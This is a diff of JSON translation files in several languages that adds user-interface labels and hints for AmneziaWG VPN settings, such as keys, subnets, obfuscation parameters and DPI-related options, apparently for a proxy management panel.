"wireguardAllowedIPs": "عناوين IP المسموحة لوايرغارد",
"wireguardAllowedIPsHint": "اتركه فارغًا للتعيين التلقائي؛ افصل بين الإدخالات بفواصل",
"amneziaWgPrivateKey": "مفتاح AmneziaWG الخاص",
"amneziaWgPublicKey": "مفتاح AmneziaWG العام",
"amneziaWgPreSharedKey": "مفتاح AmneziaWG المشترك مسبقًا",
"amneziaWgAllowedIPs": "عناوين IP المسموحة لـ AmneziaWG",
"amneziaWgAllowedIPsHint": "اتركه فارغًا للتعيين التلقائي؛ افصل بين الإدخالات بفواصل",
"amneziaWgForwardedPorts": "المنافذ المُعاد توجيهها",
"amneziaWgForwardedPortsHint": "المنافذ/النطاقات المُعاد توجيهها (DNAT) لهذا العميل، مثل 80, 443, 8000-8100. اتركها فارغة إن لم تكن مطلوبة.",
"amneziaWgConfig": "إعدادات AmneziaWG",
"mtprotoSecret": "سر MTProto",
"mtprotoSecretHint": "سر FakeTLS الخاص بالعميل. أعد التوليد لتغييره.",
"mtprotoAdTag": "علامة إعلانية (قناة مموّلة)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "المفتاح السري",
"publicKey": "المفتاح العام",
"subnetIp": "الشبكة الفرعية",
"subnetCidr": "بادئة الشبكة الفرعية (CIDR)",
"allowedIPs": "عناوين IP المسموح بها",
"endpoint": "النهاية",
"domainStrategy": "استراتيجية الدومين"
},
"amneziawg": {
"privateKey": "المفتاح الخاص",
"publicKey": "المفتاح العام",
"subnetIp": "الشبكة الفرعية",
"subnetCidr": "بادئة الشبكة الفرعية (CIDR)",
"mtu": "الحد الأقصى لوحدة النقل (MTU)",
"primaryDns": "DNS الأساسي",
"secondaryDns": "DNS الثانوي",
"externalInterface": "الواجهة الخارجية",
"externalInterfaceHint": "واجهة الشبكة على الخادم المستخدمة لـ NAT (PostUp/PostDown). اتركها فارغة للاكتشاف التلقائي.",
"ipv6Enabled": "تفعيل IPv6",
"ipv6Subnet": "الشبكة الفرعية IPv6",
"ipv6SubnetHint": "مثل fd86:ea04:1115::/64. مطلوب عند تفعيل IPv6.",
"ipv6ExternalInterface": "الواجهة الخارجية لـ IPv6",
"ipv6ExternalInterfaceHint": "واجهة الشبكة على الخادم لإدخالات وكيل NDP. اتركها فارغة لاستخدام الواجهة الخارجية.",
"obfuscation": "معاملات التمويه",
"regenerateObfuscation": "إعادة التوليد",
"jc": "Jc (عدد الحزم العشوائية)",
"jmin": "Jmin (الحد الأدنى لحجم الحزمة العشوائية)",
"jmax": "Jmax (الحد الأقصى لحجم الحزمة العشوائية)",
"s1": "S1 (حجم حشو حزمة init)",
"s2": "S2 (حجم حشو حزمة response)",
"s3": "S3 (حشو رد الكوكي)",
"s4": "S4 (حشو حزمة النقل)",
"h1": "H1 (رأس سحري)",
"h2": "H2 (رأس سحري)",
"h3": "H3 (رأس سحري)",
"h4": "H4 (رأس سحري)",
"hHint": "رقم واحد أو نطاق. اتركه فارغًا للقيم الافتراضية الكلاسيكية 1/2/3/4.",
"i1": "I1 (حزمة التوقيع)",
"i1Hint": "حزمة توقيع اختيارية. اتركه فارغًا لعدم إرسالها.",
"i2": "I2 (حزمة التوقيع)",
"i3": "I3 (حزمة التوقيع)",
"i4": "I4 (حزمة التوقيع)",
"i5": "I5 (حزمة التوقيع)",
"headerProtectionKey": "HeaderProtectionKey (حماية الترويسات)",
"headerProtectionKeyHint": "مفتاح Base64 بطول 32 بايت؛ يجب أن يتطابق في إعدادات كل عميل. اتركه فارغًا لتعطيل حماية الترويسات.",
"contentPaddingAddition": "ContentPaddingAddition (حشو المحتوى)",
"contentPaddingAdditionHint": "عدد صحيح أو نطاق بايتات يُضاف إلى حزم المحتوى. اتركه فارغًا للتعطيل.",
"rekeyAfterTime": "RekeyAfterTime (ثوانٍ)",
"rekeyTimeout": "RekeyTimeout (ثوانٍ)",
"rejectAfterTime": "RejectAfterTime (ثوانٍ)",
"keepaliveTimeout": "KeepaliveTimeout (ثوانٍ)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "عدد صحيح أو نطاق. اتركه فارغًا لاستخدام قيمة WireGuard الافتراضية.",
"maxHandshakeAttemptsHint": "عدد محاولات المصافحة قبل التوقف. اتركه فارغًا للقيمة الافتراضية.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "يضيف بايتات عشوائية إلى نهاية كل حزمة. يتطلب AmneziaWG 3.1+ على الطرفين.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "عدم إرسال ردود الكوكي — يزيل بصمة DPI لكنه يضعف الحماية من الفيضانات."
},
"tun": {
"userLevel": "مستوى المستخدم"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Logs",
"accessLogs": "Access Logs",
"autoUpdate": "Auto Update",
"amneziawgLogs": "AmneziaWG Logs",
"amneziawgHandshake": "Last Handshake",
"amneziawgInterface": "Interface",
"amneziawgInbound": "Inbound",
"amneziawgEndpoint": "Endpoint",
"amneziawgIdle": "Idle",
"amneziawgEvents": "Events",
"amneziawgNoPeers": "No AmneziaWG peers are currently up",
"amneziawgNoEvents": "No AmneziaWG events recorded yet",
"config": "Config",
"backupTitle": "Backup & Restore",
"exportDatabase": "Back Up",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard Pre-Shared Key",
"wireguardAllowedIPs": "WireGuard Allowed IPs",
"wireguardAllowedIPsHint": "Leave empty to auto-assign; separate entries with commas",
"amneziaWgPrivateKey": "AmneziaWG Private Key",
"amneziaWgPublicKey": "AmneziaWG Public Key",
"amneziaWgPreSharedKey": "AmneziaWG Pre-Shared Key",
"amneziaWgAllowedIPs": "AmneziaWG Allowed IPs",
"amneziaWgAllowedIPsHint": "Leave empty to auto-assign; separate entries with commas",
"amneziaWgForwardedPorts": "Forwarded Ports",
"amneziaWgForwardedPortsHint": "Ports/ranges DNAT'd to this client, e.g. 80, 443, 8000-8100. Leave empty for none.",
"amneziaWgConfig": "AmneziaWG config",
"mtprotoSecret": "MTProto secret",
"mtprotoSecretHint": "The client's FakeTLS secret. Regenerate to rotate it.",
"mtprotoAdTag": "Ad-tag (sponsored channel)",
@@ -1887,10 +1904,63 @@
"wireguard": {
"secretKey": "Secret Key",
"publicKey": "Public Key",
"subnetIp": "Subnet",
"subnetCidr": "Subnet CIDR",
"allowedIPs": "Allowed IPs",
"endpoint": "Endpoint",
"domainStrategy": "Domain Strategy"
},
"amneziawg": {
"privateKey": "Private Key",
"publicKey": "Public Key",
"subnetIp": "Subnet",
"subnetCidr": "Subnet CIDR",
"mtu": "MTU",
"primaryDns": "Primary DNS",
"secondaryDns": "Secondary DNS",
"externalInterface": "External Interface",
"externalInterfaceHint": "Host NIC for NAT (PostUp/PostDown). Leave empty to auto-detect.",
"ipv6Enabled": "Enable IPv6",
"ipv6Subnet": "IPv6 Subnet",
"ipv6SubnetHint": "e.g. fd86:ea04:1115::/64. Required when IPv6 is enabled.",
"ipv6ExternalInterface": "IPv6 External Interface",
"ipv6ExternalInterfaceHint": "Host NIC each peer's IPv6 address is aliased onto. Leave empty to reuse External Interface.",
"obfuscation": "Obfuscation parameters",
"regenerateObfuscation": "Regenerate",
"jc": "Jc (junk packet count)",
"jmin": "Jmin (junk packet min size)",
"jmax": "Jmax (junk packet max size)",
"s1": "S1 (init packet junk size)",
"s2": "S2 (response packet junk size)",
"s3": "S3 (cookie reply padding)",
"s4": "S4 (transport packet padding)",
"h1": "H1 (magic header)",
"h2": "H2 (magic header)",
"h3": "H3 (magic header)",
"h4": "H4 (magic header)",
"hHint": "A single integer or a low-high range. Leave empty for the classic 1/2/3/4 default.",
"i1": "I1 (signature packet)",
"i1Hint": "Optional signature packet. Leave empty to omit it.",
"i2": "I2 (signature packet)",
"i3": "I3 (signature packet)",
"i4": "I4 (signature packet)",
"i5": "I5 (signature packet)",
"headerProtectionKey": "HeaderProtectionKey (header protection)",
"headerProtectionKeyHint": "Base64 32-byte key; must match on every client config. Leave empty to disable header protection.",
"contentPaddingAddition": "ContentPaddingAddition (content padding)",
"contentPaddingAdditionHint": "A single integer or low-high byte range added to content packets. Leave empty to disable.",
"rekeyAfterTime": "RekeyAfterTime (seconds)",
"rekeyTimeout": "RekeyTimeout (seconds)",
"rejectAfterTime": "RejectAfterTime (seconds)",
"keepaliveTimeout": "KeepaliveTimeout (seconds)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "A single integer or a low-high range. Leave empty to keep the WireGuard default.",
"maxHandshakeAttemptsHint": "Handshake retries before giving up. Leave empty for the default.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Appends random bytes to every packet. Both ends need AmneziaWG 3.1+.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "Never send cookie replies — removes a DPI fingerprint; weakens flood mitigation."
},
"tun": {
"userLevel": "User Level"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Registros",
"accessLogs": "Registros de acceso",
"autoUpdate": "Actualización automática",
"amneziawgLogs": "Registros de AmneziaWG",
"amneziawgHandshake": "Último handshake",
"amneziawgInterface": "Interfaz",
"amneziawgInbound": "Entrada",
"amneziawgEndpoint": "Endpoint",
"amneziawgIdle": "Inactivo",
"amneziawgEvents": "Eventos",
"amneziawgNoPeers": "No hay peers de AmneziaWG activos",
"amneziawgNoEvents": "Aún no hay eventos de AmneziaWG registrados",
"config": "Configuración",
"backupTitle": "Copia & Restauración",
"exportDatabase": "Copia de seguridad",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Clave precompartida de WireGuard",
"wireguardAllowedIPs": "IP permitidas de WireGuard",
"wireguardAllowedIPsHint": "Déjalo vacío para asignar automáticamente; separa las entradas con comas",
"amneziaWgPrivateKey": "Clave privada de AmneziaWG",
"amneziaWgPublicKey": "Clave pública de AmneziaWG",
"amneziaWgPreSharedKey": "Clave precompartida de AmneziaWG",
"amneziaWgAllowedIPs": "IP permitidas de AmneziaWG",
"amneziaWgAllowedIPsHint": "Déjalo vacío para asignar automáticamente; separa las entradas con comas",
"amneziaWgForwardedPorts": "Puertos reenviados",
"amneziaWgForwardedPortsHint": "Puertos/rangos redirigidos (DNAT) a este cliente, p. ej. 80, 443, 8000-8100. Déjalo vacío si no aplica.",
"amneziaWgConfig": "Configuración de AmneziaWG",
"mtprotoSecret": "Secreto MTProto",
"mtprotoSecretHint": "El secreto FakeTLS del cliente. Vuelve a generarlo para cambiarlo.",
"mtprotoAdTag": "Ad-tag (canal patrocinado)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Llave secreta",
"publicKey": "Llave pública",
"subnetIp": "Subred",
"subnetCidr": "CIDR de la subred",
"allowedIPs": "IP permitidas",
"endpoint": "Punto final",
"domainStrategy": "Estrategia de dominio"
},
"amneziawg": {
"privateKey": "Clave privada",
"publicKey": "Clave pública",
"subnetIp": "Subred",
"subnetCidr": "CIDR de la subred",
"mtu": "MTU",
"primaryDns": "DNS primario",
"secondaryDns": "DNS secundario",
"externalInterface": "Interfaz externa",
"externalInterfaceHint": "Interfaz de red del host para NAT (PostUp/PostDown). Déjalo vacío para autodetectar.",
"ipv6Enabled": "Habilitar IPv6",
"ipv6Subnet": "Subred IPv6",
"ipv6SubnetHint": "p. ej. fd86:ea04:1115::/64. Obligatorio cuando IPv6 está habilitado.",
"ipv6ExternalInterface": "Interfaz externa IPv6",
"ipv6ExternalInterfaceHint": "Interfaz de red del host para las entradas de proxy NDP. Déjalo vacío para reutilizar la interfaz externa.",
"obfuscation": "Parámetros de ofuscación",
"regenerateObfuscation": "Regenerar",
"jc": "Jc (cantidad de paquetes basura)",
"jmin": "Jmin (tamaño mínimo de paquete basura)",
"jmax": "Jmax (tamaño máximo de paquete basura)",
"s1": "S1 (relleno del paquete init)",
"s2": "S2 (relleno del paquete response)",
"s3": "S3 (relleno de cookie reply)",
"s4": "S4 (relleno del paquete de transporte)",
"h1": "H1 (cabecera mágica)",
"h2": "H2 (cabecera mágica)",
"h3": "H3 (cabecera mágica)",
"h4": "H4 (cabecera mágica)",
"hHint": "Un número entero o un rango. Déjalo vacío para los valores clásicos 1/2/3/4.",
"i1": "I1 (paquete de firma)",
"i1Hint": "Paquete de firma opcional. Déjalo vacío para omitirlo.",
"i2": "I2 (paquete de firma)",
"i3": "I3 (paquete de firma)",
"i4": "I4 (paquete de firma)",
"i5": "I5 (paquete de firma)",
"headerProtectionKey": "HeaderProtectionKey (protección de cabeceras)",
"headerProtectionKeyHint": "Clave Base64 de 32 bytes; debe coincidir en la configuración de cada cliente. Déjalo vacío para desactivar la protección de cabeceras.",
"contentPaddingAddition": "ContentPaddingAddition (relleno de contenido)",
"contentPaddingAdditionHint": "Un entero o un rango de bytes añadido a los paquetes de contenido. Déjalo vacío para desactivarlo.",
"rekeyAfterTime": "RekeyAfterTime (segundos)",
"rekeyTimeout": "RekeyTimeout (segundos)",
"rejectAfterTime": "RejectAfterTime (segundos)",
"keepaliveTimeout": "KeepaliveTimeout (segundos)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "Un entero o un rango. Déjalo vacío para mantener el valor por defecto de WireGuard.",
"maxHandshakeAttemptsHint": "Reintentos de handshake antes de abandonar. Déjalo vacío para el valor por defecto.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Añade bytes aleatorios a cada paquete. Ambos extremos necesitan AmneziaWG 3.1+.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "No enviar cookie replies — elimina una huella para DPI, pero debilita la mitigación de inundaciones."
},
"tun": {
"userLevel": "Nivel de Usuario"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "لاگ‌ها",
"accessLogs": "لاگ‌های دسترسی",
"autoUpdate": "به‌روزرسانی خودکار",
"amneziawgLogs": "لاگ‌های AmneziaWG",
"amneziawgHandshake": "آخرین دست‌دهی",
"amneziawgInterface": "رابط شبکه",
"amneziawgInbound": "ورودی",
"amneziawgEndpoint": "نقطه اتصال",
"amneziawgIdle": "بی‌کار",
"amneziawgEvents": "رویدادها",
"amneziawgNoPeers": "هیچ پیر فعالی برای AmneziaWG وجود ندارد",
"amneziawgNoEvents": "هنوز رویدادی برای AmneziaWG ثبت نشده است",
"config": "پیکربندی",
"backupTitle": "پشتیبان‌گیری و بازیابی",
"exportDatabase": "پشتیبان‌گیری",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "کلید پیش‌اشتراکی وایرگارد",
"wireguardAllowedIPs": "آی‌پی‌های مجاز وایرگارد",
"wireguardAllowedIPsHint": "برای تخصیص خودکار خالی بگذارید؛ ورودی‌ها را با کاما جدا کنید",
"amneziaWgPrivateKey": "کلید خصوصی AmneziaWG",
"amneziaWgPublicKey": "کلید عمومی AmneziaWG",
"amneziaWgPreSharedKey": "کلید پیش‌اشتراکی AmneziaWG",
"amneziaWgAllowedIPs": "آی‌پی‌های مجاز AmneziaWG",
"amneziaWgAllowedIPsHint": "برای تخصیص خودکار خالی بگذارید؛ ورودی‌ها را با کاما جدا کنید",
"amneziaWgForwardedPorts": "پورت‌های هدایت‌شده",
"amneziaWgForwardedPortsHint": "پورت‌ها/محدوده‌های DNAT شده به این کلاینت، مثلاً 80, 443, 8000-8100. برای غیرفعال بودن خالی بگذارید.",
"amneziaWgConfig": "پیکربندی AmneziaWG",
"mtprotoSecret": "سکرت MTProto",
"mtprotoSecretHint": "سکرت FakeTLS این کلاینت. برای تعویض، دوباره تولید کنید.",
"mtprotoAdTag": "برچسب تبلیغاتی (کانال حامی)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "کلید شخصی",
"publicKey": "کلید عمومی",
"subnetIp": "زیرشبکه",
"subnetCidr": "پیشوند زیرشبکه (CIDR)",
"allowedIPs": "آی‌پی‌های مجاز",
"endpoint": "نقطه پایانی",
"domainStrategy": "استراتژی حل دامنه"
},
"amneziawg": {
"privateKey": "کلید خصوصی",
"publicKey": "کلید عمومی",
"subnetIp": "زیرشبکه",
"subnetCidr": "پیشوند زیرشبکه (CIDR)",
"mtu": "MTU",
"primaryDns": "DNS اصلی",
"secondaryDns": "DNS ثانویه",
"externalInterface": "رابط خارجی",
"externalInterfaceHint": "رابط شبکه میزبان برای NAT (PostUp/PostDown). برای تشخیص خودکار خالی بگذارید.",
"ipv6Enabled": "فعال‌سازی IPv6",
"ipv6Subnet": "زیرشبکه IPv6",
"ipv6SubnetHint": "مثلاً fd86:ea04:1115::/64. هنگام فعال بودن IPv6 الزامی است.",
"ipv6ExternalInterface": "رابط خارجی IPv6",
"ipv6ExternalInterfaceHint": "رابط شبکه میزبان برای ورودی‌های پراکسی NDP. برای استفاده از رابط خارجی خالی بگذارید.",
"obfuscation": "پارامترهای مبهم‌سازی",
"regenerateObfuscation": "بازتولید",
"jc": "Jc (تعداد بسته‌های زباله)",
"jmin": "Jmin (حداقل اندازه بسته زباله)",
"jmax": "Jmax (حداکثر اندازه بسته زباله)",
"s1": "S1 (اندازه پرکننده بسته init)",
"s2": "S2 (اندازه پرکننده بسته response)",
"s3": "S3 (پرکننده cookie reply)",
"s4": "S4 (پرکننده بسته انتقال)",
"h1": "H1 (سرصفحه جادویی)",
"h2": "H2 (سرصفحه جادویی)",
"h3": "H3 (سرصفحه جادویی)",
"h4": "H4 (سرصفحه جادویی)",
"hHint": "یک عدد صحیح یا یک بازه. برای مقادیر پیش‌فرض کلاسیک ۱/۲/۳/۴ خالی بگذارید.",
"i1": "I1 (بسته امضا)",
"i1Hint": "بسته امضای اختیاری. برای حذف آن خالی بگذارید.",
"i2": "I2 (بسته امضا)",
"i3": "I3 (بسته امضا)",
"i4": "I4 (بسته امضا)",
"i5": "I5 (بسته امضا)",
"headerProtectionKey": "HeaderProtectionKey (محافظت سرآیند)",
"headerProtectionKeyHint": "کلید Base64 با طول ۳۲ بایت؛ باید در پیکربندی همه کلاینت‌ها یکسان باشد. برای غیرفعال کردن محافظت سرآیند خالی بگذارید.",
"contentPaddingAddition": "ContentPaddingAddition (پرکننده محتوا)",
"contentPaddingAdditionHint": "یک عدد صحیح یا بازه بایت که به بسته‌های محتوا افزوده می‌شود. برای غیرفعال کردن خالی بگذارید.",
"rekeyAfterTime": "RekeyAfterTime (ثانیه)",
"rekeyTimeout": "RekeyTimeout (ثانیه)",
"rejectAfterTime": "RejectAfterTime (ثانیه)",
"keepaliveTimeout": "KeepaliveTimeout (ثانیه)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "یک عدد صحیح یا یک بازه. برای استفاده از مقدار پیش‌فرض WireGuard خالی بگذارید.",
"maxHandshakeAttemptsHint": "تعداد تلاش‌های دوباره دست‌دهی پیش از انصراف. برای مقدار پیش‌فرض خالی بگذارید.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "به انتهای هر بسته بایت‌های تصادفی می‌افزاید. هر دو طرف باید AmneziaWG 3.1+ باشند.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "هرگز پاسخ کوکی ارسال نشود — اثر انگشت DPI را حذف می‌کند اما دفاع در برابر سیل‌آسا را ضعیف می‌کند."
},
"tun": {
"userLevel": "سطح کاربر"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Log",
"accessLogs": "Log Akses",
"autoUpdate": "Pembaruan Otomatis",
"amneziawgLogs": "Log AmneziaWG",
"amneziawgHandshake": "Handshake Terakhir",
"amneziawgInterface": "Antarmuka",
"amneziawgInbound": "Inbound",
"amneziawgEndpoint": "Endpoint",
"amneziawgIdle": "Idle",
"amneziawgEvents": "Peristiwa",
"amneziawgNoPeers": "Tidak ada peer AmneziaWG yang aktif",
"amneziawgNoEvents": "Belum ada peristiwa AmneziaWG yang tercatat",
"config": "Konfigurasi",
"backupTitle": "Cadangan & Pulihkan",
"exportDatabase": "Cadangkan",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Kunci Pra-Berbagi WireGuard",
"wireguardAllowedIPs": "IP yang Diizinkan WireGuard",
"wireguardAllowedIPsHint": "Biarkan kosong untuk penetapan otomatis; pisahkan entri dengan koma",
"amneziaWgPrivateKey": "Kunci Privat AmneziaWG",
"amneziaWgPublicKey": "Kunci Publik AmneziaWG",
"amneziaWgPreSharedKey": "Kunci Pra-Berbagi AmneziaWG",
"amneziaWgAllowedIPs": "IP yang Diizinkan AmneziaWG",
"amneziaWgAllowedIPsHint": "Biarkan kosong untuk penetapan otomatis; pisahkan entri dengan koma",
"amneziaWgForwardedPorts": "Port yang Diteruskan",
"amneziaWgForwardedPortsHint": "Port/rentang yang di-DNAT ke klien ini, mis. 80, 443, 8000-8100. Biarkan kosong jika tidak ada.",
"amneziaWgConfig": "Konfigurasi AmneziaWG",
"mtprotoSecret": "Secret MTProto",
"mtprotoSecretHint": "Secret FakeTLS klien. Buat ulang untuk menggantinya.",
"mtprotoAdTag": "Ad-tag (kanal bersponsor)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Kunci Rahasia",
"publicKey": "Kunci Publik",
"subnetIp": "Subnet",
"subnetCidr": "CIDR Subnet",
"allowedIPs": "IP yang Diizinkan",
"endpoint": "Titik Akhir",
"domainStrategy": "Strategi Domain"
},
"amneziawg": {
"privateKey": "Kunci Privat",
"publicKey": "Kunci Publik",
"subnetIp": "Subnet",
"subnetCidr": "CIDR Subnet",
"mtu": "MTU",
"primaryDns": "DNS Utama",
"secondaryDns": "DNS Cadangan",
"externalInterface": "Antarmuka Eksternal",
"externalInterfaceHint": "NIC host untuk NAT (PostUp/PostDown). Biarkan kosong untuk deteksi otomatis.",
"ipv6Enabled": "Aktifkan IPv6",
"ipv6Subnet": "Subnet IPv6",
"ipv6SubnetHint": "mis. fd86:ea04:1115::/64. Wajib diisi saat IPv6 diaktifkan.",
"ipv6ExternalInterface": "NIC Eksternal IPv6",
"ipv6ExternalInterfaceHint": "NIC host untuk entri proxy NDP. Biarkan kosong untuk menggunakan NIC Eksternal.",
"obfuscation": "Parameter obfuskasi",
"regenerateObfuscation": "Buat ulang",
"jc": "Jc (jumlah paket sampah)",
"jmin": "Jmin (ukuran min paket sampah)",
"jmax": "Jmax (ukuran maks paket sampah)",
"s1": "S1 (padding paket init)",
"s2": "S2 (padding paket response)",
"s3": "S3 (padding cookie reply)",
"s4": "S4 (padding paket transport)",
"h1": "H1 (header ajaib)",
"h2": "H2 (header ajaib)",
"h3": "H3 (header ajaib)",
"h4": "H4 (header ajaib)",
"hHint": "Satu bilangan bulat atau rentang. Biarkan kosong untuk nilai klasik 1/2/3/4.",
"i1": "I1 (paket tanda tangan)",
"i1Hint": "Paket tanda tangan opsional. Biarkan kosong untuk melewatkannya.",
"i2": "I2 (paket tanda tangan)",
"i3": "I3 (paket tanda tangan)",
"i4": "I4 (paket tanda tangan)",
"i5": "I5 (paket tanda tangan)",
"headerProtectionKey": "HeaderProtectionKey (perlindungan header)",
"headerProtectionKeyHint": "Kunci Base64 32 byte; harus sama di konfigurasi setiap klien. Biarkan kosong untuk menonaktifkan perlindungan header.",
"contentPaddingAddition": "ContentPaddingAddition (padding konten)",
"contentPaddingAdditionHint": "Satu bilangan bulat atau rentang byte yang ditambahkan ke paket konten. Biarkan kosong untuk menonaktifkan.",
"rekeyAfterTime": "RekeyAfterTime (detik)",
"rekeyTimeout": "RekeyTimeout (detik)",
"rejectAfterTime": "RejectAfterTime (detik)",
"keepaliveTimeout": "KeepaliveTimeout (detik)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "Satu bilangan bulat atau rentang. Biarkan kosong untuk memakai bawaan WireGuard.",
"maxHandshakeAttemptsHint": "Jumlah percobaan ulang handshake sebelum menyerah. Biarkan kosong untuk nilai bawaan.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Menambahkan byte acak ke setiap paket. Kedua sisi butuh AmneziaWG 3.1+.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "Tidak pernah mengirim cookie reply — menghapus sidik jari DPI, tetapi melemahkan mitigasi banjir."
},
"tun": {
"userLevel": "Level Pengguna"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "ログ",
"accessLogs": "アクセスログ",
"autoUpdate": "自動更新",
"amneziawgLogs": "AmneziaWG ログ",
"amneziawgHandshake": "最終ハンドシェイク",
"amneziawgInterface": "インターフェース",
"amneziawgInbound": "インバウンド",
"amneziawgEndpoint": "エンドポイント",
"amneziawgIdle": "アイドル",
"amneziawgEvents": "イベント",
"amneziawgNoPeers": "稼働中の AmneziaWG ピアはありません",
"amneziawgNoEvents": "AmneziaWG のイベントはまだ記録されていません",
"config": "設定",
"backupTitle": "バックアップと復元",
"exportDatabase": "バックアップ",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard 事前共有鍵",
"wireguardAllowedIPs": "WireGuard 許可IP",
"wireguardAllowedIPsHint": "空欄で自動割り当て。複数指定はカンマ区切り",
"amneziaWgPrivateKey": "AmneziaWG 秘密鍵",
"amneziaWgPublicKey": "AmneziaWG 公開鍵",
"amneziaWgPreSharedKey": "AmneziaWG 事前共有鍵",
"amneziaWgAllowedIPs": "AmneziaWG 許可IP",
"amneziaWgAllowedIPsHint": "空欄で自動割り当て。複数指定はカンマ区切り",
"amneziaWgForwardedPorts": "転送ポート",
"amneziaWgForwardedPortsHint": "このクライアントに転送するポート/範囲。例: 80, 443, 8000-8100。空欄で転送なし。",
"amneziaWgConfig": "AmneziaWG 設定",
"mtprotoSecret": "MTProto シークレット",
"mtprotoSecretHint": "このクライアントの FakeTLS シークレット。変更するには再生成します。",
"mtprotoAdTag": "広告タグ(スポンサーチャンネル)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "シークレットキー",
"publicKey": "公開鍵",
"subnetIp": "サブネット",
"subnetCidr": "サブネットCIDR",
"allowedIPs": "許可されたIP",
"endpoint": "エンドポイント",
"domainStrategy": "ドメイン戦略"
},
"amneziawg": {
"privateKey": "秘密鍵",
"publicKey": "公開鍵",
"subnetIp": "サブネット",
"subnetCidr": "サブネットCIDR",
"mtu": "MTU",
"primaryDns": "プライマリDNS",
"secondaryDns": "セカンダリDNS",
"externalInterface": "外部インターフェース",
"externalInterfaceHint": "NAT(PostUp/PostDown)に使用するホストのNIC。空欄で自動検出。",
"ipv6Enabled": "IPv6を有効化",
"ipv6Subnet": "IPv6サブネット",
"ipv6SubnetHint": "例: fd86:ea04:1115::/64。IPv6有効時は必須。",
"ipv6ExternalInterface": "IPv6外部NIC",
"ipv6ExternalInterfaceHint": "NDPプロキシエントリに使用するホストのNIC。空欄で外部NICを使用。",
"obfuscation": "難読化パラメータ",
"regenerateObfuscation": "再生成",
"jc": "Jc(ジャンクパケット数)",
"jmin": "Jmin(ジャンクパケット最小サイズ)",
"jmax": "Jmax(ジャンクパケット最大サイズ)",
"s1": "S1(initパケットのパディングサイズ)",
"s2": "S2responseパケットのパディングサイズ)",
"s3": "S3cookie replyパディング)",
"s4": "S4(トランスポートパケットパディング)",
"h1": "H1(マジックヘッダー)",
"h2": "H2(マジックヘッダー)",
"h3": "H3(マジックヘッダー)",
"h4": "H4(マジックヘッダー)",
"hHint": "整数または範囲を指定。空欄の場合は従来の1/2/3/4がデフォルトになります。",
"i1": "I1(署名パケット)",
"i1Hint": "任意の署名パケット。空欄の場合は送信しません。",
"i2": "I2(署名パケット)",
"i3": "I3(署名パケット)",
"i4": "I4(署名パケット)",
"i5": "I5(署名パケット)",
"headerProtectionKey": "HeaderProtectionKey(ヘッダー保護)",
"headerProtectionKeyHint": "Base64の32バイト鍵。全クライアントの設定と一致する必要があります。空欄でヘッダー保護を無効にします。",
"contentPaddingAddition": "ContentPaddingAddition(コンテンツパディング)",
"contentPaddingAdditionHint": "整数またはlow-highのバイト範囲をコンテンツパケットに追加します。空欄で無効になります。",
"rekeyAfterTime": "RekeyAfterTime(秒)",
"rekeyTimeout": "RekeyTimeout(秒)",
"rejectAfterTime": "RejectAfterTime(秒)",
"keepaliveTimeout": "KeepaliveTimeout(秒)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "整数または範囲を指定。空欄の場合はWireGuardのデフォルトを使用します。",
"maxHandshakeAttemptsHint": "諦めるまでのハンドシェイク再試行回数。空欄でデフォルトになります。",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "各パケットにランダムなバイトを追加します。両端にAmneziaWG 3.1+が必要です。",
"disableCookies": "DisableCookies",
"disableCookiesHint": "cookie replyを送信しません。DPIの指紋を消しますが、フラッド緩和は弱まります。"
},
"tun": {
"userLevel": "ユーザーレベル"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Logs",
"accessLogs": "Logs de acesso",
"autoUpdate": "Atualização automática",
"amneziawgLogs": "Logs do AmneziaWG",
"amneziawgHandshake": "Último handshake",
"amneziawgInterface": "Interface",
"amneziawgInbound": "Entrada",
"amneziawgEndpoint": "Endpoint",
"amneziawgIdle": "Ocioso",
"amneziawgEvents": "Eventos",
"amneziawgNoPeers": "Nenhum peer do AmneziaWG está ativo",
"amneziawgNoEvents": "Nenhum evento do AmneziaWG registrado ainda",
"config": "Configuração",
"backupTitle": "Backup & Restauração",
"exportDatabase": "Backup",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Chave pré-compartilhada do WireGuard",
"wireguardAllowedIPs": "IPs permitidos do WireGuard",
"wireguardAllowedIPsHint": "Deixe vazio para atribuir automaticamente; separe as entradas com vírgulas",
"amneziaWgPrivateKey": "Chave privada do AmneziaWG",
"amneziaWgPublicKey": "Chave pública do AmneziaWG",
"amneziaWgPreSharedKey": "Chave pré-compartilhada do AmneziaWG",
"amneziaWgAllowedIPs": "IPs permitidos do AmneziaWG",
"amneziaWgAllowedIPsHint": "Deixe vazio para atribuir automaticamente; separe as entradas com vírgulas",
